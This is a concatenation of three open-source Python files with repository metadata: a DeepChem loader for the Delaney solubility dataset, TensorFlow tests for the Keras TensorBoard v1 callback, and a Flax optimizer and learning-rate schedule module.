"bytes": "105612"
},
{
"name": "Jupyter Notebook",
"bytes": "5566652"
},
{
"name": "Makefile",
"bytes": "132186"
},
{
"name": "Objective-C",
"bytes": "5679"
},
{
"name": "Python",
"bytes": "526893"
},
{
"name": "Shell",
"bytes": "6103"
},
{
"name": "Tcl",
"bytes": "765760"
},
{
"name": "VHDL",
"bytes": "280763"
},
{
"name": "Verilog",
"bytes": "239600"
}
],
"symlink_target": ""
} |
"""
Delaney dataset loader.
"""
from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals
import os
import deepchem
def load_delaney(featurizer='ECFP', split='index', reload=True):
"""Load delaney datasets."""
# Featurize Delaney dataset
print("About to featurize Delaney dataset.")
if "DEEPCHEM_DATA_DIR" in os.environ:
data_dir = os.environ["DEEPCHEM_DATA_DIR"]
else:
data_dir = "/tmp"
if reload:
save_dir = os.path.join(data_dir, "delaney/" + featurizer + "/" + split)
dataset_file = os.path.join(data_dir, "delaney-processed.csv")
if not os.path.exists(dataset_file):
os.system(
'wget -P ' + data_dir +
' http://deepchem.io.s3-website-us-west-1.amazonaws.com/datasets/delaney-processed.csv'
)
delaney_tasks = ['measured log solubility in mols per litre']
if reload:
loaded, all_dataset, transformers = deepchem.utils.save.load_dataset_from_disk(
save_dir)
if loaded:
return delaney_tasks, all_dataset, transformers
if featurizer == 'ECFP':
featurizer = deepchem.feat.CircularFingerprint(size=1024)
elif featurizer == 'GraphConv':
featurizer = deepchem.feat.ConvMolFeaturizer()
elif featurizer == 'Weave':
featurizer = deepchem.feat.WeaveFeaturizer()
elif featurizer == 'Raw':
featurizer = deepchem.feat.RawFeaturizer()
loader = deepchem.data.CSVLoader(
tasks=delaney_tasks, smiles_field="smiles", featurizer=featurizer)
dataset = loader.featurize(dataset_file, shard_size=8192)
# Initialize transformers
transformers = [
deepchem.trans.NormalizationTransformer(
transform_y=True, dataset=dataset)
]
print("About to transform data")
for transformer in transformers:
dataset = transformer.transform(dataset)
splitters = {
'index': deepchem.splits.IndexSplitter(),
'random': deepchem.splits.RandomSplitter(),
'scaffold': deepchem.splits.ScaffoldSplitter()
}
splitter = splitters[split]
train, valid, test = splitter.train_valid_test_split(dataset)
if reload:
deepchem.utils.save.save_dataset_to_disk(save_dir, train, valid, test,
transformers)
return delaney_tasks, (train, valid, test), transformers
| {
"content_hash": "bf957113bbb1593e690ff78bbf03d2a4",
"timestamp": "",
"source": "github",
"line_count": 72,
"max_line_length": 95,
"avg_line_length": 31.77777777777778,
"alnum_prop": 0.6844405594405595,
"repo_name": "rbharath/deepchem",
"id": "707590c82160035a52df3f6ae613da3704bacbeb",
"size": "2288",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "deepchem/molnet/load_function/delaney_datasets.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Jupyter Notebook",
"bytes": "30434"
},
{
"name": "Python",
"bytes": "1827279"
},
{
"name": "Shell",
"bytes": "5585"
}
],
"symlink_target": ""
} |
"""Tests for Keras callbacks."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import shutil
import tempfile
import numpy as np
from tensorflow.core.framework import summary_pb2
from tensorflow.python import keras
from tensorflow.python.framework import test_util
from tensorflow.python.keras import callbacks_v1
from tensorflow.python.keras import testing_utils
from tensorflow.python.keras.utils import np_utils
from tensorflow.python.platform import test
from tensorflow.python.training import adam
TRAIN_SAMPLES = 10
TEST_SAMPLES = 10
NUM_CLASSES = 2
INPUT_DIM = 3
NUM_HIDDEN = 5
BATCH_SIZE = 5
class TestTensorBoardV1(test.TestCase):
@test_util.run_deprecated_v1
def test_TensorBoard(self):
np.random.seed(1337)
temp_dir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True)
(x_train, y_train), (x_test, y_test) = testing_utils.get_test_data(
train_samples=TRAIN_SAMPLES,
test_samples=TEST_SAMPLES,
input_shape=(INPUT_DIM,),
num_classes=NUM_CLASSES)
y_test = np_utils.to_categorical(y_test)
y_train = np_utils.to_categorical(y_train)
def data_generator(train):
if train:
max_batch_index = len(x_train) // BATCH_SIZE
else:
max_batch_index = len(x_test) // BATCH_SIZE
i = 0
while 1:
if train:
yield (x_train[i * BATCH_SIZE:(i + 1) * BATCH_SIZE],
y_train[i * BATCH_SIZE:(i + 1) * BATCH_SIZE])
else:
yield (x_test[i * BATCH_SIZE:(i + 1) * BATCH_SIZE],
y_test[i * BATCH_SIZE:(i + 1) * BATCH_SIZE])
i += 1
i %= max_batch_index
# case: Sequential
with self.cached_session():
model = keras.models.Sequential()
model.add(
keras.layers.Dense(
NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu'))
# non_trainable_weights: moving_variance, moving_mean
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax'))
model.compile(
loss='categorical_crossentropy',
optimizer='sgd',
metrics=['accuracy'])
tsb = callbacks_v1.TensorBoard(
log_dir=temp_dir,
histogram_freq=1,
write_images=True,
write_grads=True,
batch_size=5)
cbks = [tsb]
# fit with validation data
model.fit(
x_train,
y_train,
batch_size=BATCH_SIZE,
validation_data=(x_test, y_test),
callbacks=cbks,
epochs=3,
verbose=0)
# fit with validation data and accuracy
model.fit(
x_train,
y_train,
batch_size=BATCH_SIZE,
validation_data=(x_test, y_test),
callbacks=cbks,
epochs=2,
verbose=0)
# fit generator with validation data
model.fit_generator(
data_generator(True),
len(x_train),
epochs=2,
validation_data=(x_test, y_test),
callbacks=cbks,
verbose=0)
# fit generator without validation data
# histogram_freq must be zero
tsb.histogram_freq = 0
model.fit_generator(
data_generator(True),
len(x_train),
epochs=2,
callbacks=cbks,
verbose=0)
# fit generator with validation data and accuracy
tsb.histogram_freq = 1
model.fit_generator(
data_generator(True),
len(x_train),
epochs=2,
validation_data=(x_test, y_test),
callbacks=cbks,
verbose=0)
# fit generator without validation data and accuracy
tsb.histogram_freq = 0
model.fit_generator(
data_generator(True), len(x_train), epochs=2, callbacks=cbks)
assert os.path.exists(temp_dir)
@test_util.run_deprecated_v1
def test_TensorBoard_multi_input_output(self):
np.random.seed(1337)
tmpdir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True)
with self.cached_session():
filepath = os.path.join(tmpdir, 'logs')
(x_train, y_train), (x_test, y_test) = testing_utils.get_test_data(
train_samples=TRAIN_SAMPLES,
test_samples=TEST_SAMPLES,
input_shape=(INPUT_DIM,),
num_classes=NUM_CLASSES)
y_test = np_utils.to_categorical(y_test)
y_train = np_utils.to_categorical(y_train)
def data_generator(train):
if train:
max_batch_index = len(x_train) // BATCH_SIZE
else:
max_batch_index = len(x_test) // BATCH_SIZE
i = 0
while 1:
if train:
# simulate multi-input/output models
yield ([x_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2,
[y_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2)
else:
yield ([x_test[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2,
[y_test[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2)
i += 1
i %= max_batch_index
inp1 = keras.Input((INPUT_DIM,))
inp2 = keras.Input((INPUT_DIM,))
inp = keras.layers.add([inp1, inp2])
hidden = keras.layers.Dense(2, activation='relu')(inp)
hidden = keras.layers.Dropout(0.1)(hidden)
output1 = keras.layers.Dense(NUM_CLASSES, activation='softmax')(hidden)
output2 = keras.layers.Dense(NUM_CLASSES, activation='softmax')(hidden)
model = keras.models.Model([inp1, inp2], [output1, output2])
model.compile(loss='categorical_crossentropy',
optimizer='sgd',
metrics=['accuracy'])
# we must generate new callbacks for each test, as they aren't stateless
def callbacks_factory(histogram_freq):
return [
callbacks_v1.TensorBoard(
log_dir=filepath,
histogram_freq=histogram_freq,
write_images=True,
write_grads=True,
batch_size=5)
]
# fit without validation data
model.fit([x_train] * 2, [y_train] * 2, batch_size=BATCH_SIZE,
callbacks=callbacks_factory(histogram_freq=0), epochs=3)
# fit with validation data and accuracy
model.fit([x_train] * 2, [y_train] * 2, batch_size=BATCH_SIZE,
validation_data=([x_test] * 2, [y_test] * 2),
callbacks=callbacks_factory(histogram_freq=1), epochs=2)
# fit generator without validation data
model.fit_generator(data_generator(True), len(x_train), epochs=2,
callbacks=callbacks_factory(histogram_freq=0))
# fit generator with validation data and accuracy
model.fit_generator(data_generator(True), len(x_train), epochs=2,
validation_data=([x_test] * 2, [y_test] * 2),
callbacks=callbacks_factory(histogram_freq=1))
assert os.path.isdir(filepath)
@test_util.run_deprecated_v1
def test_Tensorboard_histogram_summaries_in_test_function(self):
class FileWriterStub(object):
def __init__(self, logdir, graph=None):
self.logdir = logdir
self.graph = graph
self.steps_seen = []
def add_summary(self, summary, global_step):
summary_obj = summary_pb2.Summary()
# ensure a valid Summary proto is being sent
if isinstance(summary, bytes):
summary_obj.ParseFromString(summary)
else:
assert isinstance(summary, summary_pb2.Summary)
summary_obj = summary
# keep track of steps seen for the merged_summary op,
# which contains the histogram summaries
if len(summary_obj.value) > 1:
self.steps_seen.append(global_step)
def flush(self):
pass
def close(self):
pass
def _init_writer(obj, _):
obj.writer = FileWriterStub(obj.log_dir)
np.random.seed(1337)
tmpdir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True)
(x_train, y_train), (x_test, y_test) = testing_utils.get_test_data(
train_samples=TRAIN_SAMPLES,
test_samples=TEST_SAMPLES,
input_shape=(INPUT_DIM,),
num_classes=NUM_CLASSES)
y_test = np_utils.to_categorical(y_test)
y_train = np_utils.to_categorical(y_train)
with self.cached_session():
model = keras.models.Sequential()
model.add(
keras.layers.Dense(
NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu'))
# non_trainable_weights: moving_variance, moving_mean
model.add(keras.layers.BatchNormalization())
model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax'))
model.compile(
loss='categorical_crossentropy',
optimizer='sgd',
metrics=['accuracy'])
callbacks_v1.TensorBoard._init_writer = _init_writer
tsb = callbacks_v1.TensorBoard(
log_dir=tmpdir,
histogram_freq=1,
write_images=True,
write_grads=True,
batch_size=5)
cbks = [tsb]
# fit with validation data
model.fit(
x_train,
y_train,
batch_size=BATCH_SIZE,
validation_data=(x_test, y_test),
callbacks=cbks,
epochs=3,
verbose=0)
self.assertAllEqual(tsb.writer.steps_seen, [0, 1, 2, 3, 4, 5])
@test_util.run_deprecated_v1
def test_Tensorboard_histogram_summaries_with_generator(self):
np.random.seed(1337)
tmpdir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True)
def generator():
x = np.random.randn(10, 100).astype(np.float32)
y = np.random.randn(10, 10).astype(np.float32)
while True:
yield x, y
with self.cached_session():
model = testing_utils.get_small_sequential_mlp(
num_hidden=10, num_classes=10, input_dim=100)
model.compile(
loss='categorical_crossentropy',
optimizer='sgd',
metrics=['accuracy'])
tsb = callbacks_v1.TensorBoard(
log_dir=tmpdir,
histogram_freq=1,
write_images=True,
write_grads=True,
batch_size=5)
cbks = [tsb]
# fit with validation generator
model.fit_generator(
generator(),
steps_per_epoch=2,
epochs=2,
validation_data=generator(),
validation_steps=2,
callbacks=cbks,
verbose=0)
with self.assertRaises(ValueError):
# fit with validation generator but no
# validation_steps
model.fit_generator(
generator(),
steps_per_epoch=2,
epochs=2,
validation_data=generator(),
callbacks=cbks,
verbose=0)
self.assertTrue(os.path.exists(tmpdir))
def test_TensorBoard_with_ReduceLROnPlateau(self):
with self.cached_session():
temp_dir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True)
(x_train, y_train), (x_test, y_test) = testing_utils.get_test_data(
train_samples=TRAIN_SAMPLES,
test_samples=TEST_SAMPLES,
input_shape=(INPUT_DIM,),
num_classes=NUM_CLASSES)
y_test = np_utils.to_categorical(y_test)
y_train = np_utils.to_categorical(y_train)
model = testing_utils.get_small_sequential_mlp(
num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM)
model.compile(
loss='binary_crossentropy', optimizer='sgd', metrics=['accuracy'])
cbks = [
keras.callbacks.ReduceLROnPlateau(
monitor='val_loss', factor=0.5, patience=4, verbose=1),
callbacks_v1.TensorBoard(log_dir=temp_dir)
]
model.fit(
x_train,
y_train,
batch_size=BATCH_SIZE,
validation_data=(x_test, y_test),
callbacks=cbks,
epochs=2,
verbose=0)
assert os.path.exists(temp_dir)
@test_util.run_deprecated_v1
def test_Tensorboard_batch_logging(self):
class FileWriterStub(object):
def __init__(self, logdir, graph=None):
self.logdir = logdir
self.graph = graph
self.batches_logged = []
self.summary_values = []
self.summary_tags = []
def add_summary(self, summary, step):
self.summary_values.append(summary.value[0].simple_value)
self.summary_tags.append(summary.value[0].tag)
self.batches_logged.append(step)
def flush(self):
pass
def close(self):
pass
temp_dir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True)
tb_cbk = callbacks_v1.TensorBoard(temp_dir, update_freq='batch')
tb_cbk.writer = FileWriterStub(temp_dir)
for batch in range(5):
tb_cbk.on_batch_end(batch, {'acc': batch})
self.assertEqual(tb_cbk.writer.batches_logged, [0, 1, 2, 3, 4])
self.assertEqual(tb_cbk.writer.summary_values, [0., 1., 2., 3., 4.])
self.assertEqual(tb_cbk.writer.summary_tags, ['batch_acc'] * 5)
@test_util.run_deprecated_v1
def test_Tensorboard_epoch_and_batch_logging(self):
class FileWriterStub(object):
def __init__(self, logdir, graph=None):
self.logdir = logdir
self.graph = graph
def add_summary(self, summary, step):
if 'batch_' in summary.value[0].tag:
self.batch_summary = (step, summary)
elif 'epoch_' in summary.value[0].tag:
self.epoch_summary = (step, summary)
def flush(self):
pass
def close(self):
pass
temp_dir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True)
tb_cbk = callbacks_v1.TensorBoard(temp_dir, update_freq='batch')
tb_cbk.writer = FileWriterStub(temp_dir)
tb_cbk.on_batch_end(0, {'acc': 5.0})
tb_cbk.on_train_end()
batch_step, batch_summary = tb_cbk.writer.batch_summary
self.assertEqual(batch_step, 0)
self.assertEqual(batch_summary.value[0].simple_value, 5.0)
tb_cbk = callbacks_v1.TensorBoard(temp_dir, update_freq='epoch')
tb_cbk.writer = FileWriterStub(temp_dir)
tb_cbk.on_epoch_end(0, {'acc': 10.0})
tb_cbk.on_train_end()
epoch_step, epoch_summary = tb_cbk.writer.epoch_summary
self.assertEqual(epoch_step, 0)
self.assertEqual(epoch_summary.value[0].simple_value, 10.0)
@test_util.run_in_graph_and_eager_modes
def test_Tensorboard_eager(self):
temp_dir = tempfile.mkdtemp(dir=self.get_temp_dir())
self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True)
(x_train, y_train), (x_test, y_test) = testing_utils.get_test_data(
train_samples=TRAIN_SAMPLES,
test_samples=TEST_SAMPLES,
input_shape=(INPUT_DIM,),
num_classes=NUM_CLASSES)
y_test = np_utils.to_categorical(y_test)
y_train = np_utils.to_categorical(y_train)
model = testing_utils.get_small_sequential_mlp(
num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM)
model.compile(
loss='binary_crossentropy',
optimizer=adam.AdamOptimizer(0.01),
metrics=['accuracy'])
cbks = [callbacks_v1.TensorBoard(log_dir=temp_dir)]
model.fit(
x_train,
y_train,
batch_size=BATCH_SIZE,
validation_data=(x_test, y_test),
callbacks=cbks,
epochs=2,
verbose=0)
self.assertTrue(os.path.exists(temp_dir))
@test_util.run_deprecated_v1
def test_TensorBoard_update_freq(self):
class FileWriterStub(object):
def __init__(self, logdir, graph=None):
self.logdir = logdir
self.graph = graph
self.batch_summaries = []
self.epoch_summaries = []
def add_summary(self, summary, step):
if 'batch_' in summary.value[0].tag:
self.batch_summaries.append((step, summary))
elif 'epoch_' in summary.value[0].tag:
self.epoch_summaries.append((step, summary))
def flush(self):
pass
def close(self):
pass
temp_dir = self.get_temp_dir()
self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True)
# Epoch mode
tb_cbk = callbacks_v1.TensorBoard(temp_dir, update_freq='epoch')
tb_cbk.writer = FileWriterStub(temp_dir)
tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 1})
self.assertEqual(tb_cbk.writer.batch_summaries, [])
tb_cbk.on_epoch_end(0, {'acc': 10.0, 'size': 1})
self.assertEqual(len(tb_cbk.writer.epoch_summaries), 1)
tb_cbk.on_train_end()
# Batch mode
tb_cbk = callbacks_v1.TensorBoard(temp_dir, update_freq='batch')
tb_cbk.writer = FileWriterStub(temp_dir)
tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 1})
self.assertEqual(len(tb_cbk.writer.batch_summaries), 1)
tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 1})
self.assertEqual(len(tb_cbk.writer.batch_summaries), 2)
self.assertFalse(tb_cbk.writer.epoch_summaries)
tb_cbk.on_train_end()
# Integer mode
tb_cbk = callbacks_v1.TensorBoard(temp_dir, update_freq=20)
tb_cbk.writer = FileWriterStub(temp_dir)
tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10})
self.assertFalse(tb_cbk.writer.batch_summaries)
tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10})
self.assertEqual(len(tb_cbk.writer.batch_summaries), 1)
tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10})
self.assertEqual(len(tb_cbk.writer.batch_summaries), 1)
tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10})
self.assertEqual(len(tb_cbk.writer.batch_summaries), 2)
tb_cbk.on_batch_end(0, {'acc': 10.0, 'size': 10})
self.assertEqual(len(tb_cbk.writer.batch_summaries), 2)
self.assertFalse(tb_cbk.writer.epoch_summaries)
tb_cbk.on_train_end()
if __name__ == '__main__':
test.main()
| {
"content_hash": "113fe72f25bd4446ab2727750db5a2f7",
"timestamp": "",
"source": "github",
"line_count": 554,
"max_line_length": 78,
"avg_line_length": 32.27617328519855,
"alnum_prop": 0.6051115709412225,
"repo_name": "DavidNorman/tensorflow",
"id": "7df695a1a5797be44700dfa02f5e116cd4d98654",
"size": "18570",
"binary": false,
"copies": "5",
"ref": "refs/heads/master",
"path": "tensorflow/python/keras/callbacks_v1_test.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Assembly",
"bytes": "4913"
},
{
"name": "Batchfile",
"bytes": "15272"
},
{
"name": "C",
"bytes": "774469"
},
{
"name": "C#",
"bytes": "8562"
},
{
"name": "C++",
"bytes": "74659044"
},
{
"name": "CMake",
"bytes": "6545"
},
{
"name": "Dockerfile",
"bytes": "79827"
},
{
"name": "Go",
"bytes": "1670422"
},
{
"name": "HTML",
"bytes": "4680032"
},
{
"name": "Java",
"bytes": "827737"
},
{
"name": "Jupyter Notebook",
"bytes": "540800"
},
{
"name": "LLVM",
"bytes": "6536"
},
{
"name": "MLIR",
"bytes": "1004638"
},
{
"name": "Makefile",
"bytes": "66660"
},
{
"name": "Objective-C",
"bytes": "105247"
},
{
"name": "Objective-C++",
"bytes": "297569"
},
{
"name": "PHP",
"bytes": "23553"
},
{
"name": "Pascal",
"bytes": "3752"
},
{
"name": "Pawn",
"bytes": "14529"
},
{
"name": "Perl",
"bytes": "7536"
},
{
"name": "Python",
"bytes": "37406546"
},
{
"name": "RobotFramework",
"bytes": "891"
},
{
"name": "Ruby",
"bytes": "4706"
},
{
"name": "Shell",
"bytes": "452517"
},
{
"name": "Smarty",
"bytes": "31460"
},
{
"name": "Swift",
"bytes": "62814"
}
],
"symlink_target": ""
} |
"""Gin configurable optimizer definitions.
"""
from typing import Any, Optional
from absl import logging
from flax import optim
from flax import struct
import gin
import jax.numpy as jnp
import numpy as np
OptimizerDef = Any
@struct.dataclass
class OptimizerConfig:
"""Base class for optimizer configurations."""
learning_rate: float = 0.01 # All optimizers have a learning rate.
def create_optimizer_def(self) -> OptimizerDef:
raise ValueError("Not implemented.")
@gin.configurable
@struct.dataclass
class AdamConfig(OptimizerConfig):
"""Creates and configures the Adam optimizer."""
# Adam does not use parameter scale, and thus requires a smaller lrate.
# This will be multiplied by the learning rate schedule.
learning_rate: float = 0.05
beta1: float = 0.9 # For moving average of gradient.
beta2: float = 0.98 # For moving average of gradient magnitude.
weight_decay_rate: float = 0.0 # Relative to learning rate.
def create_optimizer_def(self) -> optim.OptimizerDef:
logging.info("Using Adam Optimizer. lr=%f, b1=%f, b2=%f",
self.learning_rate, self.beta1, self.beta2)
return optim.Adam(beta1=self.beta1,
beta2=self.beta2,
weight_decay=self.weight_decay_rate)
@gin.configurable
@struct.dataclass
class FlaxAdafactorConfig(OptimizerConfig):
"""Creates and configures the Adafactor optimizer."""
# Adafactor scales gradients according to parameter scale.
# This will be multiplied by the learning rate schedule.
learning_rate: float = 1.0
beta1: Optional[float] = 0.9 # Enables momentum with extra memory cost.
def create_optimizer_def(self) -> optim.OptimizerDef:
# Use wd_lr_exponent to get weight_decay relative to learning rate.
logging.info("Using Flax Adafactor Optimizer. lr=%f, b1=%f",
self.learning_rate, self.beta1)
return optim.Adafactor(beta1=self.beta1)
# ----------------------------------------------------------------------------
# Learning rate schedules for use with any optimizer.
#
# In keeping with the Chinchilla model: https://arxiv.org/abs/2203.15556.
# A learning rate schedule is a function that decays the learning rate from
# step zero to max_steps. The desired maximum number of steps must be set at
# the start of training.
# ----------------------------------------------------------------------------
@gin.configurable
def lr_constant(step: jnp.ndarray, max_steps: int,
learning_rate: float = 0.01) -> jnp.ndarray:
"""Returns constant_lr on each step.
Args:
step: The current training step (unused).
max_steps: Unused.
learning_rate: The constant learning rate to use.
Returns:
The learning rate for the current step.
"""
del step
del max_steps
return jnp.asarray(learning_rate, dtype=jnp.float32)
@gin.configurable
def lr_rsqrt_decay_std(step: jnp.ndarray, max_steps: int,
max_lr: Optional[float] = None) -> jnp.ndarray:
"""Inverse square root decay function: LR = 1/sqrt(step).
Provided for compatibility. No min_lr, and it ignores max_steps.
Should be used with warmup: pass step = max(step, warmup_steps).
Maximum learning rate is 1/sqrt(warmup_steps) ~= 0.03 for 1000 warmup steps.
Args:
step: The current training step.
max_steps: Unused.
max_lr: If specified, learning rate will be clipped to the maximum value.
Returns:
The learning rate for the current step.
"""
# This function implements standard rsqrt decay as used in the memorizing
# and block-recurrent transformer papers, (https://arxiv.org/abs/2203.08913,
# https://arxiv.org/abs/2203.07852) which does not decay to a specified
# minimum learning rate over max_steps.
del max_steps
# Avoid divide by zero; force at least 100 warmup steps and a max LR of 0.1.
step = jnp.maximum(step, 100.0)
lrate = 1.0 / jnp.sqrt(step)
if max_lr is not None:
lrate = jnp.minimum(lrate, max_lr) # Clip to max_lr
return lrate
@gin.configurable
def lr_rsqrt_decay(step: jnp.ndarray, max_steps: int,
max_lr: float = 0.05,
min_lr: float = 0.001) -> jnp.ndarray:
"""Inverse sqrt decay from max_lr to min_lr over max_steps.
This function implements rsqrt decay, but adjusts the decay rate so that
min_lr is reached at max_steps.
Note: with a warmup period, the maximum LR produced by the schedule is:
min_lr / sqrt(warmup_steps / max_steps), which may be less than max_lr.
e.g. if min_lr is 0.001, then the maximum LR will be 0.01 for
warmup_steps=1000 and max_steps=100_000.
Args:
step: The current training step.
max_steps: The step value at the end of training.
max_lr: LR will be clipped to max at the start of training.
min_lr: LR to output at max_steps.
Returns:
The learning rate for the current step.
"""
assert max_lr > min_lr
# Avoid divide by zero; force at least 100 warmup steps and a max LR of 0.1.
step = jnp.maximum(step, 100.0)
lrate = min_lr / jnp.sqrt(step / float(max_steps))
lrate = jnp.minimum(lrate, max_lr) # Clip to max_lr
return lrate
@gin.configurable
def lr_exponential_decay(step: jnp.ndarray, max_steps: int,
max_lr: float = 0.01,
min_lr: float = 0.001) -> jnp.ndarray:
"""Exponential decay from max_lr to min_lr over max_steps.
Continues to decay at the same rate after max_steps.
Args:
step: The current training step.
max_steps: The step value at the end of training.
max_lr: LR to output at step 0.
min_lr: LR to output at max_steps.
Returns:
The learning rate for the current step.
"""
assert max_lr > min_lr
lrate = max_lr * jnp.power(min_lr / max_lr, step / float(max_steps))
return lrate
@gin.configurable
def lr_linear_decay(step: jnp.ndarray, max_steps: int,
max_lr: float = 0.01,
min_lr: float = 0.001,
decay_after: bool = True) -> jnp.ndarray:
"""Linear decay from max_lr to min_lr over max_steps.
If decay_after, then LR will continue to decay exponentially by a factor
of 2 every max_steps after the linear decay.
Args:
step: The current training step.
max_steps: The step value at the end of training.
max_lr: LR to output at step 0.
min_lr: LR to output at max_steps.
decay_after: If true, do exponential decay after the linear decay,
by a factor of 2 every max_steps.
Returns:
The learning rate for the current step.
"""
assert max_lr > min_lr
lrate = min_lr + (max_lr - min_lr) * ((max_steps - step) / max_steps)
lrate = jnp.maximum(lrate, min_lr)
if decay_after:
exp_lrate = lr_exponential_decay(step, max_steps,
max_lr=2*min_lr, min_lr=min_lr)
lrate = jnp.where(step < max_steps, lrate, exp_lrate)
return lrate
@gin.configurable
def lr_cosine_decay(step: jnp.ndarray, max_steps: int,
max_lr: float = 0.01,
min_lr: float = 0.001,
decay_after: bool = True,
spike_steps: int = 0,
spike_lr: float = 0.0) -> jnp.ndarray:
"""Cosine decay function from max_lr to min_lr over max_steps.
Used in the Chinchilla model: https://arxiv.org/abs/2203.15556.
If decay_after, then LR will continue to decay exponentially by a factor
of 2 every max_steps after the original ramp.
If spike_steps > 0, there will be an initial linear decay from spike_lr
down to max_lr over the first spike_steps steps. This implements a brief
period of higher LR early in training, similar to the curve for rsqrt_decay.
The model can generally tolerate a high LR early in training, and make a
lot of progress very quickly. Try spike_steps=10_000, spike_lr = 0.04.
Args:
step: The current training step.
max_steps: The number of training steps to decay over.
max_lr: The maximum learning rate at the start of training.
min_lr: The minimum learning rate at the end of training.
decay_after: If true, do exponential decay after the cosine day,
by a factor of 2 every max_steps.
spike_steps: The number of steps for the initial spike.
spike_lr: The maximum LR during the initial spike.
Returns:
The learning rate for the current step.
"""
assert max_lr > min_lr
pi = float(np.pi)
step_ramp = jnp.minimum(step, max_steps) / max_steps # ramp: 0 to 1.0.
lrate = (1 + jnp.cos(pi * step_ramp)) * 0.5 # ranges from 1 to 0.
lrate = min_lr + lrate * (max_lr - min_lr)
if spike_steps > 0 and spike_lr > 0.0:
assert spike_lr > max_lr
spike_lrate = spike_lr * ((spike_steps - step) / spike_steps)
lrate = jnp.maximum(lrate, spike_lrate)
if decay_after:
exp_lrate = lr_exponential_decay(step, max_steps,
max_lr=2*min_lr, min_lr=min_lr)
lrate = jnp.where(step < max_steps, lrate, exp_lrate)
return lrate
| {
"content_hash": "6e96fdc3cef21010ef9b3c16e9588be5",
"timestamp": "",
"source": "github",
"line_count": 267,
"max_line_length": 78,
"avg_line_length": 33.7940074906367,
"alnum_prop": 0.654549484650338,
"repo_name": "google-research/meliad",
"id": "72ba0869fd61287792d63c66c1f56f13a9f50ceb",
"size": "9595",
"binary": false,
"copies": "1",
"ref": "refs/heads/main",
"path": "optimizer_config.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Python",
"bytes": "400462"
}
],
"symlink_target": ""
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.